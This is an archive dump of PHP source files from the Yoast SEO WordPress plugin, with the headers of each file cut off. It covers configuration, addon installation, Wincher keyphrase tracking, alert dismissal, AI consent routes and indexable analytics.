enable/disable tracking. * * @param array $params The values to store. * * @return object The response object. */ public function set_enable_tracking( $params ) { $success = true; $option_value = $this->options_helper->get( 'tracking' ); if ( $option_value !== $params['tracking'] ) { $this->options_helper->set( 'toggled_tracking', true ); $success = $this->options_helper->set( 'tracking', $params['tracking'] ); } /** * Action: 'wpseo_post_update_enable_tracking' - Allows for Hiive event tracking. * * @param array $new_value The new value. * @param array $old_value The old value. * @param bool $failure Whether the option failed to be stored. * * @internal */ // $success is negated to be aligned with the other two actions which pass $failures. \do_action( 'wpseo_ftc_post_update_enable_tracking', $params['tracking'], $option_value, ! $success ); if ( $success ) { return (object) [ 'success' => true, 'status' => 200, ]; } return (object) [ 'success' => false, 'status' => 500, 'error' => 'Could not save the option in the database', ]; } /** * Checks if the current user has the capability a specific user. * * @param int $user_id The id of the user to be edited. * * @return object The response object. */ public function check_capability( $user_id ) { if ( $this->can_edit_profile( $user_id ) ) { return (object) [ 'success' => true, 'status' => 200, ]; } return (object) [ 'success' => false, 'status' => 403, ]; } /** * Stores the first time configuration state. * * @param array $params The values to store. * * @return object The response object. */ public function save_configuration_state( $params ) { // If the finishedSteps param is not present in the REST request, it's a malformed request. if ( ! isset( $params['finishedSteps'] ) ) { return (object) [ 'success' => false, 'status' => 400, 'error' => 'Bad request', ]; } // Sanitize input. $finished_steps = \array_map( '\sanitize_text_field', \wp_unslash( $params['finishedSteps'] ) ); $success = $this->options_helper->set( 'configuration_finished_steps', $finished_steps ); if ( ! $success ) { return (object) [ 'success' => false, 'status' => 500, 'error' => 'Could not save the option in the database', ]; } // If all the five steps of the configuration have been completed, set first_time_install option to false. if ( \count( $params['finishedSteps'] ) === 3 ) { $this->options_helper->set( 'first_time_install', false ); } return (object) [ 'success' => true, 'status' => 200, ]; } /** * Gets the first time configuration state. * * @return object The response object. */ public function get_configuration_state() { $configuration_option = $this->options_helper->get( 'configuration_finished_steps' ); if ( $configuration_option !== null ) { return (object) [ 'success' => true, 'status' => 200, 'data' => $configuration_option, ]; } return (object) [ 'success' => false, 'status' => 500, 'error' => 'Could not get data from the database', ]; } /** * Checks if the current user has the capability to edit a specific user. * * @param int $person_id The id of the person to edit. * * @return bool */ private function can_edit_profile( $person_id ) { return \current_user_can( 'edit_user', $person_id ); } /** * Gets the old values for the given fields. * * @param array $fields_names The fields to get the old values for. * * @return array The old values. */ private function get_old_values( array $fields_names ): array { $old_values = []; foreach ( $fields_names as $field_name ) { $old_values[ $field_name ] = $this->options_helper->get( $field_name ); } return $old_values; } } actions/addon-installation/addon-install-action.php000064400000007562152076257320016530 0ustar00addon_manager = $addon_manager; $this->require_file_helper = $require_file_helper; } /** * Installs the plugin based on the given slug. * * @param string $plugin_slug The plugin slug to install. * @param string $download_url The plugin download URL. * * @return bool True when install is successful. * * @throws Addon_Already_Installed_Exception When the addon is already installed. * @throws Addon_Installation_Error_Exception When the installation encounters an error. * @throws User_Cannot_Install_Plugins_Exception When the user does not have the permissions to install plugins. */ public function install_addon( $plugin_slug, $download_url ) { if ( ! \current_user_can( 'install_plugins' ) ) { throw new User_Cannot_Install_Plugins_Exception( $plugin_slug ); } if ( $this->is_installed( $plugin_slug ) ) { throw new Addon_Already_Installed_Exception( $plugin_slug ); } $this->load_wordpress_classes(); $install_result = $this->install( $download_url ); if ( \is_wp_error( $install_result ) ) { throw new Addon_Installation_Error_Exception( $install_result->get_error_message() ); } return $install_result; } /** * Requires the files needed from WordPress itself. * * @codeCoverageIgnore * * @return void */ protected function load_wordpress_classes() { if ( ! \class_exists( 'WP_Upgrader' ) ) { $this->require_file_helper->require_file_once( \ABSPATH . 'wp-admin/includes/class-wp-upgrader.php' ); } if ( ! \class_exists( 'Plugin_Upgrader' ) ) { $this->require_file_helper->require_file_once( \ABSPATH . 'wp-admin/includes/class-plugin-upgrader.php' ); } if ( ! \class_exists( 'WP_Upgrader_Skin' ) ) { $this->require_file_helper->require_file_once( \ABSPATH . 'wp-admin/includes/class-wp-upgrader-skin.php' ); } if ( ! \function_exists( 'get_plugin_data' ) ) { $this->require_file_helper->require_file_once( \ABSPATH . 'wp-admin/includes/plugin.php' ); } if ( ! \function_exists( 'request_filesystem_credentials' ) ) { $this->require_file_helper->require_file_once( \ABSPATH . 'wp-admin/includes/file.php' ); } } /** * Checks is a plugin is installed. * * @param string $plugin_slug The plugin to check. * * @return bool True when plugin is installed. */ protected function is_installed( $plugin_slug ) { return $this->addon_manager->get_plugin_file( $plugin_slug ) !== false; } /** * Runs the installation by using the WordPress installation routine. * * @codeCoverageIgnore Contains WordPress specific logic. * * @param string $plugin_download The url to the download. * * @return bool|WP_Error True when success, WP_Error when something went wrong. */ protected function install( $plugin_download ) { $plugin_upgrader = new Plugin_Upgrader(); return $plugin_upgrader->install( $plugin_download ); } } actions/addon-installation/addon-activate-action.php000064400000004522152076257320016653 0ustar00addon_manager = $addon_manager; $this->require_file_helper = $require_file_helper; } /** * Activates the plugin based on the given plugin file. * * @param string $plugin_slug The plugin slug to get download url for. * * @return bool True when activation is successful. * * @throws Addon_Activation_Error_Exception Exception when the activation encounters an error. * @throws User_Cannot_Activate_Plugins_Exception Exception when the user is not allowed to activate. */ public function activate_addon( $plugin_slug ) { if ( ! \current_user_can( 'activate_plugins' ) ) { throw new User_Cannot_Activate_Plugins_Exception(); } if ( $this->addon_manager->is_installed( $plugin_slug ) ) { return true; } $this->load_wordpress_classes(); $plugin_file = $this->addon_manager->get_plugin_file( $plugin_slug ); $activation_result = \activate_plugin( $plugin_file ); if ( $activation_result !== null && \is_wp_error( $activation_result ) ) { throw new Addon_Activation_Error_Exception( $activation_result->get_error_message() ); } return true; } /** * Requires the files needed from WordPress itself. * * @codeCoverageIgnore Only loads a WordPress file. * * @return void */ protected function load_wordpress_classes() { if ( ! \function_exists( 'get_plugins' ) ) { $this->require_file_helper->require_file_once( \ABSPATH . 'wp-admin/includes/plugin.php' ); } } } actions/integrations-action.php000064400000002366152076257320012716 0ustar00options_helper = $options_helper; } /** * Sets an integration state. * * @param string $integration_name The name of the integration to activate/deactivate. * @param bool $value The value to store. * * @return object The response object. */ public function set_integration_active( $integration_name, $value ) { $option_name = $integration_name . '_integration_active'; $success = true; $option_value = $this->options_helper->get( $option_name ); if ( $option_value !== $value ) { $success = $this->options_helper->set( $option_name, $value ); } if ( $success ) { return (object) [ 'success' => true, 'status' => 200, ]; } return (object) [ 'success' => false, 'status' => 500, 'error' => 'Could not save the option in the database', ]; } } actions/wincher/wincher-login-action.php000064400000003336152076257320014412 0ustar00client = $client; $this->options_helper = $options_helper; } /** * Returns the authorization URL. * * @return object The response object. */ public function get_authorization_url() { return (object) [ 'status' => 200, 'url' => $this->client->get_authorization_url(), ]; } /** * Authenticates with Wincher to request the necessary tokens. * * @param string $code The authentication code to use to request a token with. * @param string $website_id The website id associated with the code. * * @return object The response object. */ public function authenticate( $code, $website_id ) { // Code has already been validated at this point. No need to do that again. try { $tokens = $this->client->request_tokens( $code ); $this->options_helper->set( 'wincher_website_id', $website_id ); return (object) [ 'tokens' => $tokens->to_array(), 'status' => 200, ]; } catch ( Authentication_Failed_Exception $e ) { return $e->get_response(); } } } actions/wincher/wincher-account-action.php000064400000005010152076257320014725 0ustar00client = $client; $this->options_helper = $options_helper; } /** * Checks the account limit for tracking keyphrases. * * @return object The response object. */ public function check_limit() { // Code has already been validated at this point. No need to do that again. try { $results = $this->client->get( self::ACCOUNT_URL ); $usage = ( $results['limits']['keywords']['usage'] ?? null ); $limit = ( $results['limits']['keywords']['limit'] ?? null ); $history = ( $results['limits']['history_days'] ?? null ); return (object) [ 'canTrack' => ( $limit === null || $usage < $limit ), 'limit' => $limit, 'usage' => $usage, 'historyDays' => $history, 'status' => 200, ]; } catch ( Exception $e ) { return (object) [ 'status' => $e->getCode(), 'error' => $e->getMessage(), ]; } } /** * Gets the upgrade campaign. * * @return object The response object. */ public function get_upgrade_campaign() { try { $result = $this->client->get( self::UPGRADE_CAMPAIGN_URL ); $type = ( $result['type'] ?? null ); $months = ( $result['months'] ?? null ); $discount = ( $result['value'] ?? null ); // We display upgrade discount only if it's a rate discount and positive months/discount. if ( $type === 'RATE' && $months && $discount ) { return (object) [ 'discount' => $discount, 'months' => $months, 'status' => 200, ]; } return (object) [ 'discount' => null, 'months' => null, 'status' => 200, ]; } catch ( Exception $e ) { return (object) [ 'status' => $e->getCode(), 'error' => $e->getMessage(), ]; } } } actions/wincher/wincher-keyphrases-action.php000064400000022167152076257320015463 0ustar00client = $client; $this->options_helper = $options_helper; $this->indexable_repository = $indexable_repository; } /** * Sends the tracking API request for one or more keyphrases. * * @param string|array $keyphrases One or more keyphrases that should be tracked. * @param Object $limits The limits API call response data. * * @return Object The reponse object. */ public function track_keyphrases( $keyphrases, $limits ) { try { $endpoint = \sprintf( self::KEYPHRASES_ADD_URL, $this->options_helper->get( 'wincher_website_id' ), ); // Enforce arrrays to ensure a consistent way of preparing the request. if ( ! \is_array( $keyphrases ) ) { $keyphrases = [ $keyphrases ]; } // Calculate if the user would exceed their limit. // phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase -- To ensure JS code style, this can be ignored. if ( ! $limits->canTrack || $this->would_exceed_limits( $keyphrases, $limits ) ) { $response = [ 'limit' => $limits->limit, 'error' => 'Account limit exceeded', 'status' => 400, ]; return $this->to_result_object( $response ); } $formatted_keyphrases = \array_values( \array_map( static function ( $keyphrase ) { return [ 'keyword' => $keyphrase, 'groups' => [], ]; }, $keyphrases, ), ); $results = $this->client->post( $endpoint, WPSEO_Utils::format_json_encode( $formatted_keyphrases ) ); if ( ! \array_key_exists( 'data', $results ) ) { return $this->to_result_object( $results ); } // The endpoint returns a lot of stuff that we don't want/need. $results['data'] = \array_map( static function ( $keyphrase ) { return [ 'id' => $keyphrase['id'], 'keyword' => $keyphrase['keyword'], ]; }, $results['data'], ); $results['data'] = \array_combine( \array_column( $results['data'], 'keyword' ), \array_values( $results['data'] ), ); return $this->to_result_object( $results ); } catch ( Exception $e ) { return (object) [ 'error' => $e->getMessage(), 'status' => $e->getCode(), ]; } } /** * Sends an untrack request for the passed keyword ID. * * @param int $keyphrase_id The ID of the keyphrase to untrack. * * @return object The response object. */ public function untrack_keyphrase( $keyphrase_id ) { try { $endpoint = \sprintf( self::KEYPHRASE_DELETE_URL, $this->options_helper->get( 'wincher_website_id' ), $keyphrase_id, ); $this->client->delete( $endpoint ); return (object) [ 'status' => 200, ]; } catch ( Exception $e ) { return (object) [ 'error' => $e->getMessage(), 'status' => $e->getCode(), ]; } } /** * Gets the keyphrase data for the passed keyphrases. * Retrieves all available data if no keyphrases are provided. * * @param array|null $used_keyphrases The currently used keyphrases. Optional. * @param string|null $permalink The current permalink. Optional. * @param string|null $start_at The position start date. Optional. * * @return object The keyphrase chart data. */ public function get_tracked_keyphrases( $used_keyphrases = null, $permalink = null, $start_at = null ) { try { $used_keyphrases ??= $this->collect_all_keyphrases(); // If we still have no keyphrases the API will return an error, so // don't even bother sending a request. if ( empty( $used_keyphrases ) ) { return $this->to_result_object( [ 'data' => [], 'status' => 200, ], ); } $endpoint = \sprintf( self::KEYPHRASES_URL, $this->options_helper->get( 'wincher_website_id' ), ); $results = $this->client->post( $endpoint, WPSEO_Utils::format_json_encode( [ 'keywords' => $used_keyphrases, 'url' => $permalink, 'start_at' => $start_at, ], ), [ 'timeout' => 60, ], ); if ( ! \array_key_exists( 'data', $results ) ) { return $this->to_result_object( $results ); } $results['data'] = $this->filter_results_by_used_keyphrases( $results['data'], $used_keyphrases ); // Extract the positional data and assign it to the keyphrase. $results['data'] = \array_combine( \array_column( $results['data'], 'keyword' ), \array_values( $results['data'] ), ); return $this->to_result_object( $results ); } catch ( Exception $e ) { return (object) [ 'error' => $e->getMessage(), 'status' => $e->getCode(), ]; } } /** * Collects the keyphrases associated with the post. * * @param WP_Post $post The post object. * * @return array The keyphrases. */ public function collect_keyphrases_from_post( $post ) { $keyphrases = []; $primary_keyphrase = $this->indexable_repository ->query() ->select( 'primary_focus_keyword' ) ->where( 'object_id', $post->ID ) ->find_one(); if ( $primary_keyphrase ) { $keyphrases[] = $primary_keyphrase->primary_focus_keyword; } /** * Filters the keyphrases collected by the Wincher integration from the post. * * @param array $keyphrases The keyphrases array. * @param int $post_id The ID of the post. */ return \apply_filters( 'wpseo_wincher_keyphrases_from_post', $keyphrases, $post->ID ); } /** * Collects all keyphrases known to Yoast. * * @return array */ protected function collect_all_keyphrases() { // Collect primary keyphrases first. $keyphrases = \array_column( $this->indexable_repository ->query() ->select( 'primary_focus_keyword' ) ->where_not_null( 'primary_focus_keyword' ) ->where( 'object_type', 'post' ) ->where_not_equal( 'post_status', 'trash' ) ->distinct() ->find_array(), 'primary_focus_keyword', ); /** * Filters the keyphrases collected by the Wincher integration from all the posts. * * @param array $keyphrases The keyphrases array. */ $keyphrases = \apply_filters( 'wpseo_wincher_all_keyphrases', $keyphrases ); // Filter out empty entries. return \array_filter( $keyphrases ); } /** * Filters the results based on the passed keyphrases. * * @param array $results The results to filter. * @param array $used_keyphrases The used keyphrases. * * @return array The filtered results. */ protected function filter_results_by_used_keyphrases( $results, $used_keyphrases ) { return \array_filter( $results, static function ( $result ) use ( $used_keyphrases ) { return \in_array( $result['keyword'], \array_map( 'strtolower', $used_keyphrases ), true ); }, ); } /** * Determines whether the amount of keyphrases would mean the user exceeds their account limits. * * @param string|array $keyphrases The keyphrases to be added. * @param object $limits The current account limits. * * @return bool Whether the limit is exceeded. */ protected function would_exceed_limits( $keyphrases, $limits ) { if ( ! \is_array( $keyphrases ) ) { $keyphrases = [ $keyphrases ]; } if ( $limits->limit === null ) { return false; } return ( \count( $keyphrases ) + $limits->usage ) > $limits->limit; } /** * Converts the passed dataset to an object. * * @param array $result The result dataset to convert to an object. * * @return object The result object. */ protected function to_result_object( $result ) { if ( \array_key_exists( 'data', $result ) ) { $result['results'] = (object) $result['data']; unset( $result['data'] ); } if ( \array_key_exists( 'message', $result ) ) { $result['error'] = $result['message']; unset( $result['message'] ); } return (object) $result; } } actions/alert-dismissal-action.php000064400000012576152076257320013311 0ustar00user = $user; } /** * Dismisses an alert. * * @param string $alert_identifier Alert identifier. * * @return bool Whether the dismiss was successful or not. */ public function dismiss( $alert_identifier ) { $user_id = $this->user->get_current_user_id(); if ( $user_id === 0 ) { return false; } if ( $this->is_allowed( $alert_identifier ) === false ) { return false; } $dismissed_alerts = $this->get_dismissed_alerts( $user_id ); if ( $dismissed_alerts === false ) { return false; } if ( \array_key_exists( $alert_identifier, $dismissed_alerts ) === true ) { // The alert is already dismissed. return true; } // Add this alert to the dismissed alerts. $dismissed_alerts[ $alert_identifier ] = true; // Save. return $this->user->update_meta( $user_id, static::USER_META_KEY, $dismissed_alerts ) !== false; } /** * Resets an alert. * * @param string $alert_identifier Alert identifier. * * @return bool Whether the reset was successful or not. */ public function reset( $alert_identifier ) { $user_id = $this->user->get_current_user_id(); if ( $user_id === 0 ) { return false; } if ( $this->is_allowed( $alert_identifier ) === false ) { return false; } $dismissed_alerts = $this->get_dismissed_alerts( $user_id ); if ( $dismissed_alerts === false ) { return false; } $amount_of_dismissed_alerts = \count( $dismissed_alerts ); if ( $amount_of_dismissed_alerts === 0 ) { // No alerts: nothing to reset. return true; } if ( \array_key_exists( $alert_identifier, $dismissed_alerts ) === false ) { // Alert not found: nothing to reset. return true; } if ( $amount_of_dismissed_alerts === 1 ) { // The 1 remaining dismissed alert is the alert to reset: delete the alerts user meta row. return $this->user->delete_meta( $user_id, static::USER_META_KEY, $dismissed_alerts ); } // Remove this alert from the dismissed alerts. unset( $dismissed_alerts[ $alert_identifier ] ); // Save. return $this->user->update_meta( $user_id, static::USER_META_KEY, $dismissed_alerts ) !== false; } /** * Returns if an alert is dismissed or not. * * @param string $alert_identifier Alert identifier. * * @return bool Whether the alert has been dismissed. */ public function is_dismissed( $alert_identifier ) { $user_id = $this->user->get_current_user_id(); if ( $user_id === 0 ) { return false; } if ( $this->is_allowed( $alert_identifier ) === false ) { return false; } $dismissed_alerts = $this->get_dismissed_alerts( $user_id ); if ( $dismissed_alerts === false ) { return false; } return \array_key_exists( $alert_identifier, $dismissed_alerts ); } /** * Returns an object with all alerts dismissed by current user. * * @return array|false An array with the keys of all Alerts that have been dismissed * by the current user or `false`. */ public function all_dismissed() { $user_id = $this->user->get_current_user_id(); if ( $user_id === 0 ) { return false; } $dismissed_alerts = $this->get_dismissed_alerts( $user_id ); if ( $dismissed_alerts === false ) { return false; } return $dismissed_alerts; } /** * Returns if an alert is allowed or not. * * @param string $alert_identifier Alert identifier. * * @return bool Whether the alert is allowed. */ public function is_allowed( $alert_identifier ) { return \in_array( $alert_identifier, $this->get_allowed_dismissable_alerts(), true ); } /** * Retrieves the dismissed alerts. * * @param int $user_id User ID. * * @return string[]|false The dismissed alerts. False for an invalid $user_id. */ protected function get_dismissed_alerts( $user_id ) { $dismissed_alerts = $this->user->get_meta( $user_id, static::USER_META_KEY, true ); if ( $dismissed_alerts === false ) { // Invalid user ID. return false; } if ( $dismissed_alerts === '' ) { /* * When no database row exists yet, an empty string is returned because of the `single` parameter. * We do want a single result returned, but the default should be an empty array instead. */ return []; } return $dismissed_alerts; } /** * Retrieves the allowed dismissable alerts. * * @return string[] The allowed dismissable alerts. */ protected function get_allowed_dismissable_alerts() { /** * Filter: 'wpseo_allowed_dismissable_alerts' - List of allowed dismissable alerts. * * @param string[] $allowed_dismissable_alerts Allowed dismissable alerts list. */ $allowed_dismissable_alerts = \apply_filters( 'wpseo_allowed_dismissable_alerts', [] ); if ( \is_array( $allowed_dismissable_alerts ) === false ) { return []; } // Only allow strings. $allowed_dismissable_alerts = \array_filter( $allowed_dismissable_alerts, 'is_string' ); // Filter unique and reorder indices. $allowed_dismissable_alerts = \array_values( \array_unique( $allowed_dismissable_alerts ) ); return $allowed_dismissable_alerts; } } exceptions/importing/aioseo-validation-exception.php000064400000000653152076257330017067 0ustar00 [], 'error' => $this->getMessage() . ': ' . $this->getPrevious()->getMessage(), 'status' => $this->getCode(), ]; } } exceptions/oauth/tokens/failed-storage-exception.php000064400000001116152076257340016755 0ustar00user_helper = $user_helper; } /** * Handles consent revoked by deleting the consent user metadata from the database. * * @param int $user_id The user ID. * * @return void */ public function revoke_consent( int $user_id ) { $this->user_helper->delete_meta( $user_id, '_yoast_wpseo_ai_consent' ); } /** * Handles consent granted by adding the consent user metadata to the database. * * @param int $user_id The user ID. * * @return void */ public function grant_consent( int $user_id ) { $this->user_helper->update_meta( $user_id, '_yoast_wpseo_ai_consent', true ); } } ai-consent/infrastructure/endpoints/consent-endpoint.php000064400000002024152076257370017703 0ustar00get_namespace() . $this->get_route() ); } } ai-consent/user-interface/consent-route.php000064400000010565152076257370015063 0ustar00 The conditionals. */ public static function get_conditionals() { return [ AI_Conditional::class ]; } /** * Class constructor. * * @param Consent_Handler $consent_handler The consent handler. * @param Token_Manager $token_manager The token manager. */ public function __construct( Consent_Handler $consent_handler, Token_Manager $token_manager ) { $this->consent_handler = $consent_handler; $this->token_manager = $token_manager; } /** * Registers routes with WordPress. * * @return void */ public function register_routes() { \register_rest_route( self::ROUTE_NAMESPACE, self::ROUTE_PREFIX, [ 'methods' => 'POST', 'args' => [ 'consent' => [ 'required' => true, 'type' => 'boolean', 'description' => 'Whether the consent to use AI-based services has been given by the user.', ], ], 'callback' => [ $this, 'consent' ], 'permission_callback' => [ $this, 'check_permissions' ], ], ); } /** * Runs the callback to store the consent given by the user to use AI-based services. * * @param WP_REST_Request $request The request object. * * @return WP_REST_Response The response of the callback action. */ public function consent( WP_REST_Request $request ): WP_REST_Response { $user_id = \get_current_user_id(); $consent = (bool) $request->get_param( 'consent' ); try { if ( $consent ) { // Store the consent at user level. $this->consent_handler->grant_consent( $user_id ); } else { // Delete the consent at user level. $this->consent_handler->revoke_consent( $user_id ); // Invalidate the token if the user revoked the consent. $this->token_manager->token_invalidate( $user_id ); } } catch ( Bad_Request_Exception | Forbidden_Exception | Internal_Server_Error_Exception | Not_Found_Exception | Payment_Required_Exception | Request_Timeout_Exception | Service_Unavailable_Exception | Too_Many_Requests_Exception | RuntimeException $e ) { return new WP_REST_Response( ( $consent ) ? 'Failed to store consent.' : 'Failed to revoke consent.', 500 ); } return new WP_REST_Response( ( $consent ) ? 'Consent successfully stored.' : 'Consent successfully revoked.' ); } /** * Checks: * - if the user is logged * - if the user can edit posts * * @return bool Whether the user is logged in, can edit posts and the feature is active. */ public function check_permissions(): bool { $user = \wp_get_current_user(); if ( $user === null || $user->ID < 1 ) { return false; } return \user_can( $user, 'edit_posts' ); } } ai-consent/user-interface/ai-consent-integration.php000064400000005712152076257370016635 0ustar00 */ public static function get_conditionals(): array { return [ User_Profile_Conditional::class ]; } /** * Constructs the class. * * @param WPSEO_Admin_Asset_Manager $asset_manager The admin asset manager. * @param User_Helper $user_helper The user helper. * @param Short_Link_Helper $short_link_helper The short link helper. */ public function __construct( WPSEO_Admin_Asset_Manager $asset_manager, User_Helper $user_helper, Short_Link_Helper $short_link_helper ) { $this->asset_manager = $asset_manager; $this->user_helper = $user_helper; $this->short_link_helper = $short_link_helper; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { // Hide AI feature option in user profile if the user is not allowed to use it. if ( \current_user_can( 'edit_posts' ) ) { \add_action( 'wpseo_user_profile_additions', [ $this, 'render_user_profile' ], 12 ); } \add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ], 11 ); } /** * Returns the script data for the AI consent button. * * @return array */ public function get_script_data(): array { return [ 'hasConsent' => $this->user_helper->get_meta( $this->user_helper->get_current_user_id(), '_yoast_wpseo_ai_consent', true ), 'pluginUrl' => \plugins_url( '', \WPSEO_FILE ), 'linkParams' => $this->short_link_helper->get_query_params(), ]; } /** * Enqueues the required assets. * * @return void */ public function enqueue_assets() { $this->asset_manager->enqueue_style( 'ai-generator' ); $this->asset_manager->localize_script( 'ai-consent', 'wpseoAiConsent', $this->get_script_data() ); $this->asset_manager->enqueue_script( 'ai-consent' ); } /** * Renders the AI consent button for the user profile. * * @return void */ public function render_user_profile() { echo '', ''; } } analytics/domain/missing-indexable-bucket.php000064400000001732152076257370015411 0ustar00 */ private $missing_indexable_counts; /** * The constructor. */ public function __construct() { $this->missing_indexable_counts = []; } /** * Adds a missing indexable count object to this bucket. * * @param Missing_Indexable_Count $missing_indexable_count The missing indexable count object. * * @return void */ public function add_missing_indexable_count( Missing_Indexable_Count $missing_indexable_count ): void { $this->missing_indexable_counts[] = $missing_indexable_count; } /** * Returns the array representation of all indexable counts. * * @return array */ public function to_array() { return \array_map( static function ( $item ) { return $item->to_array(); }, $this->missing_indexable_counts, ); } } analytics/domain/to-be-cleaned-indexable-count.php000064400000002231152076257370016205 0ustar00cleanup_name = $cleanup_name; $this->count = $count; } /** * Returns an array representation of the data. * * @return array Returns both values in an array format. */ public function to_array() { return [ 'cleanup_name' => $this->get_cleanup_name(), 'count' => $this->get_count(), ]; } /** * Gets the name. * * @return string */ public function get_cleanup_name() { return $this->cleanup_name; } /** * Gets the count. * * @return int Returns the amount of missing indexables. */ public function get_count() { return $this->count; } } analytics/domain/to-be-cleaned-indexable-bucket.php000064400000002063152076257370016335 0ustar00 */ private $to_be_cleaned_indexable_counts; /** * The constructor. */ public function __construct() { $this->to_be_cleaned_indexable_counts = []; } /** * Adds a 'to be cleaned' indexable count object to this bucket. * * @param To_Be_Cleaned_Indexable_Count $to_be_cleaned_indexable_counts The to be cleaned indexable count object. * * @return void */ public function add_to_be_cleaned_indexable_count( To_Be_Cleaned_Indexable_Count $to_be_cleaned_indexable_counts ) { $this->to_be_cleaned_indexable_counts[] = $to_be_cleaned_indexable_counts; } /** * Returns the array representation of all indexable counts. * * @return array */ public function to_array() { return \array_map( static function ( $item ) { return $item->to_array(); }, $this->to_be_cleaned_indexable_counts, ); } } analytics/domain/missing-indexable-count.php000064400000002336152076257370015265 0ustar00indexable_type = $indexable_type; $this->count = $count; } /** * Returns an array representation of the data. * * @return array Returns both values in an array format. */ public function to_array() { return [ 'indexable_type' => $this->get_indexable_type(), 'count' => $this->get_count(), ]; } /** * Gets the indexable type. * * @return string Returns the indexable type. */ public function get_indexable_type() { return $this->indexable_type; } /** * Gets the count. * * @return int Returns the amount of missing indexables. */ public function get_count() { return $this->count; } } analytics/application/to-be-cleaned-indexables-collector.php000064400000010124152076257400020254 0ustar00indexable_cleanup_repository = $indexable_cleanup_repository; } /** * Gets the data for the collector. * * @return array */ public function get() { $to_be_cleaned_indexable_bucket = new To_Be_Cleaned_Indexable_Bucket(); $cleanup_tasks = [ 'indexables_with_post_object_type_and_shop_order_object_sub_type' => $this->indexable_cleanup_repository->count_indexables_with_object_type_and_object_sub_type( 'post', 'shop_order' ), 'indexables_with_auto-draft_post_status' => $this->indexable_cleanup_repository->count_indexables_with_post_status( 'auto-draft' ), 'indexables_for_non_publicly_viewable_post' => $this->indexable_cleanup_repository->count_indexables_for_non_publicly_viewable_post(), 'indexables_for_non_publicly_viewable_taxonomies' => $this->indexable_cleanup_repository->count_indexables_for_non_publicly_viewable_taxonomies(), 'indexables_for_non_publicly_viewable_post_type_archive_pages' => $this->indexable_cleanup_repository->count_indexables_for_non_publicly_post_type_archive_pages(), 'indexables_for_authors_archive_disabled' => $this->indexable_cleanup_repository->count_indexables_for_authors_archive_disabled(), 'indexables_for_authors_without_archive' => $this->indexable_cleanup_repository->count_indexables_for_authors_without_archive(), 'indexables_for_object_type_and_source_table_users' => $this->indexable_cleanup_repository->count_indexables_for_orphaned_users(), 'indexables_for_object_type_and_source_table_posts' => $this->indexable_cleanup_repository->count_indexables_for_object_type_and_source_table( 'posts', 'ID', 'post' ), 'indexables_for_object_type_and_source_table_terms' => $this->indexable_cleanup_repository->count_indexables_for_object_type_and_source_table( 'terms', 'term_id', 'term' ), 'orphaned_from_table_indexable_hierarchy' => $this->indexable_cleanup_repository->count_orphaned_from_table( 'Indexable_Hierarchy', 'indexable_id' ), 'orphaned_from_table_indexable_id' => $this->indexable_cleanup_repository->count_orphaned_from_table( 'SEO_Links', 'indexable_id' ), 'orphaned_from_table_target_indexable_id' => $this->indexable_cleanup_repository->count_orphaned_from_table( 'SEO_Links', 'target_indexable_id' ), ]; foreach ( $cleanup_tasks as $name => $count ) { if ( $count !== null ) { $count_object = new To_Be_Cleaned_Indexable_Count( $name, $count ); $to_be_cleaned_indexable_bucket->add_to_be_cleaned_indexable_count( $count_object ); } } $this->add_additional_counts( $to_be_cleaned_indexable_bucket ); return [ 'to_be_cleaned_indexables' => $to_be_cleaned_indexable_bucket->to_array() ]; } /** * Allows additional tasks to be added via the 'wpseo_add_cleanup_counts_to_indexable_bucket' action. * * @param To_Be_Cleaned_Indexable_Bucket $to_be_cleaned_indexable_bucket The current bucket with data. * * @return void */ private function add_additional_counts( $to_be_cleaned_indexable_bucket ) { /** * Action: Adds the possibility to add additional to be cleaned objects. * * @internal * @param To_Be_Cleaned_Indexable_Bucket $bucket An indexable cleanup bucket. New values are instances of To_Be_Cleaned_Indexable_Count. */ \do_action( 'wpseo_add_cleanup_counts_to_indexable_bucket', $to_be_cleaned_indexable_bucket ); } } analytics/application/missing-indexables-collector.php000064400000004522152076257400017333 0ustar00 */ private $indexation_actions; /** * The collector constructor. * * @param Indexation_Action_Interface ...$indexation_actions All the Indexation actions. */ public function __construct( Indexation_Action_Interface ...$indexation_actions ) { $this->indexation_actions = $indexation_actions; $this->add_additional_indexing_actions(); } /** * Gets the data for the tracking collector. * * @return array The list of missing indexables. */ public function get() { $missing_indexable_bucket = new Missing_Indexable_Bucket(); foreach ( $this->indexation_actions as $indexation_action ) { $missing_indexable_count = new Missing_Indexable_Count( \get_class( $indexation_action ), $indexation_action->get_total_unindexed() ); $missing_indexable_bucket->add_missing_indexable_count( $missing_indexable_count ); } return [ 'missing_indexables' => $missing_indexable_bucket->to_array() ]; } /** * Adds additional indexing actions to count from the 'wpseo_indexable_collector_add_indexation_actions' filter. * * @return void */ private function add_additional_indexing_actions() { /** * Filter: Adds the possibility to add additional indexation actions to be included in the count routine. * * @internal * @param Indexation_Action_Interface $actions This filter expects a list of Indexation_Action_Interface instances * and expects only Indexation_Action_Interface implementations to be * added to the list. */ $indexing_actions = (array) \apply_filters( 'wpseo_indexable_collector_add_indexation_actions', $this->indexation_actions ); $this->indexation_actions = \array_filter( $indexing_actions, static function ( $indexing_action ) { return \is_a( $indexing_action, Indexation_Action_Interface::class ); }, ); } } analytics/user-interface/last-completed-indexation-integration.php000064400000003335152076257400021572 0ustar00options_helper = $options_helper; } /** * Registers action hook to maybe save an option. * * @return void */ public function register_hooks(): void { \add_action( 'wpseo_indexables_unindexed_calculated', [ $this, 'maybe_set_indexables_unindexed_calculated', ], 10, 2, ); } /** * Saves a timestamp option when there are no unindexed indexables. * * @param string $indexable_name The name of the indexable that is being checked. * @param int $count The amount of missing indexables. * * @return void */ public function maybe_set_indexables_unindexed_calculated( string $indexable_name, int $count ): void { if ( $count === 0 ) { $no_index = $this->options_helper->get( 'last_known_no_unindexed', [] ); $no_index[ $indexable_name ] = \time(); \remove_action( 'update_option_wpseo', [ 'WPSEO_Utils', 'clear_cache' ] ); $this->options_helper->set( 'last_known_no_unindexed', $no_index ); \add_action( 'update_option_wpseo', [ 'WPSEO_Utils', 'clear_cache' ] ); } } } ai-authorization/domain/code-verifier.php000064400000002417152076257400014552 0ustar00code = $code; $this->created_at = $created_at; } /** * Get the code. * * @return string The code. */ public function get_code(): string { return $this->code; } /** * Get the creation time of the code. * * @return int The creation time of the code. */ public function get_created_at(): int { return $this->created_at; } /** * Check if the code is expired. * * @param int $validity_in_seconds The validity of the code in seconds. * * @return bool True if the code is expired, false 